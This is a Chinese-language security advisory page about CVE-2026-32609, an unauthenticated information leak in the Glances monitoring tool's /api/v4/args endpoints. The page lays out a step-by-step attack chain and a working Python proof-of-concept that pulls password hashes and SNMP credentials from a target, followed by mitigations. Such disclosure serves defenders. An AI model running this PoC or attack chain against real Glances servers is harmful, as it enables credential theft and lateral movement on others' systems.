IPBUF安全漏洞报告
English
CVE-2026-32609 CVSS 7.5 高危

CVE-2026-32609 Glances监控工具未授权敏感信息泄露漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32609
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Glances

相关标签

信息泄露未授权访问敏感数据暴露GlancesAPI安全密码哈希泄露SNMP凭证泄露CVE-2026-32609

漏洞概述

Glances是一款开源跨平台系统监控工具。该漏洞源于`/api/v4/args`和`/api/v4/args/{item}`API端点存在未授权访问风险,允许攻击者在无需认证的情况下获取系统敏感配置信息。虽然之前的安全修复(GHSA-gh4x)解决了`/api/v4/config`端点的密钥泄露问题,但这两个关键端点被遗漏。这些端点通过`vars(self.args)`返回完整的命令行参数命名空间,其中包含密码哈希(Salt与pbkdf2_hmac算法生成的密钥)、SNMP社区字符串、SNMP认证密钥以及配置文件路径等高敏感度信息。由于Glances默认运行模式下不启用密码保护(--password参数未使用),导致任何网络可达的攻击者都可以直接访问这些API端点并窃取敏感凭证,进而可能导致横向移动或进一步攻击。

技术细节

漏洞根源在于Glances的REST API实现中,`/api/v4/args`端点直接返回`vars(self.args)`的内容。args对象存储了应用程序运行时的所有命令行参数,包括:1)密码相关:使用pbkdf2_hmac算法生成的密码哈希值及其Salt;2)SNMP配置:社区字符串(community string)和认证密钥(authentication keys);3)系统路径:配置文件路径等敏感路径信息。攻击者可通过以下方式利用:GET请求访问`/api/v4/args`获取完整参数列表,或通过`/api/v4/args/{item}`访问特定参数项。由于这些端点未实现认证检查且Glances默认不启用认证,攻击者可直接构造HTTP请求获取敏感数据。获取的密码哈希可用于离线暴力破解,SNMP凭证可用于进一步的网络侦察和攻击。

攻击链分析

STEP 1
步骤1
攻击者扫描目标主机上运行Glances服务的61208端口(默认端口)
STEP 2
步骤2
攻击者直接向/api/v4/args端点发送HTTP GET请求,无需任何认证
STEP 3
步骤3
服务端返回完整的命令行参数命名空间,包含密码哈希、SNMP凭证等敏感信息
STEP 4
步骤4
攻击者通过/api/v4/args/{item}端点获取特定敏感参数,如密码哈希或配置文件路径
STEP 5
步骤5
攻击者利用获取的密码哈希进行离线暴力破解,或使用SNMP凭证进行横向移动攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-32609 PoC - Unauthenticated Sensitive Information Disclosure # Target: Glances monitoring tool API endpoints TARGET = "http://target:61208" # Default Glances port CVE_ID = "CVE-2026-32609" def check_vulnerability(): """Check if target is vulnerable to CVE-2026-32609""" # Check /api/v4/args endpoint args_url = f"{TARGET}/api/v4/args" try: print(f"[*] Testing {args_url}...") response = requests.get(args_url, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Endpoint accessible without authentication") print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for sensitive data sensitive_keys = ['password', 'snmp_community', 'snmp_password', 'snmp_user', 'pwd', 'passwd', 'config'] found_sensitive = [] for key in sensitive_keys: if key in str(data).lower(): found_sensitive.append(key) if found_sensitive: print(f"[!] Sensitive data found: {found_sensitive}") print(f"[!] Target is VULNERABLE to {CVE_ID}") return True else: print(f"[-] Endpoint returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit(): """Exploit to extract sensitive configuration""" print(f"\n[*] Extracting sensitive data via /api/v4/args/{item}...") items = ['password', 'pwd', 'snmp_community', 'config', 'arglist'] for item in items: url = f"{TARGET}/api/v4/args/{item}" try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"\n[+] /api/v4/args/{item}:") print(f" {response.text}") except: pass if __name__ == "__main__": print(f"[*] CVE-2026-32609 PoC - Glances Information Disclosure\n") if check_vulnerability(): print("\n[*] Attempting exploitation...") exploit() else: print(f"[-] Target may not be vulnerable or is not running Glances")

影响范围

Glances < 4.5.2

防御指南

临时缓解措施
如果无法立即升级,可通过以下方式临时缓解:1)使用防火墙限制对Glances端口(默认61208)的访问,仅允许必要的管理IP;2)启动Glances时使用--password参数启用认证;3)修改默认的SNMP社区字符串为强随机值;4)监控API访问日志,检测异常的/api/v4/args端点访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表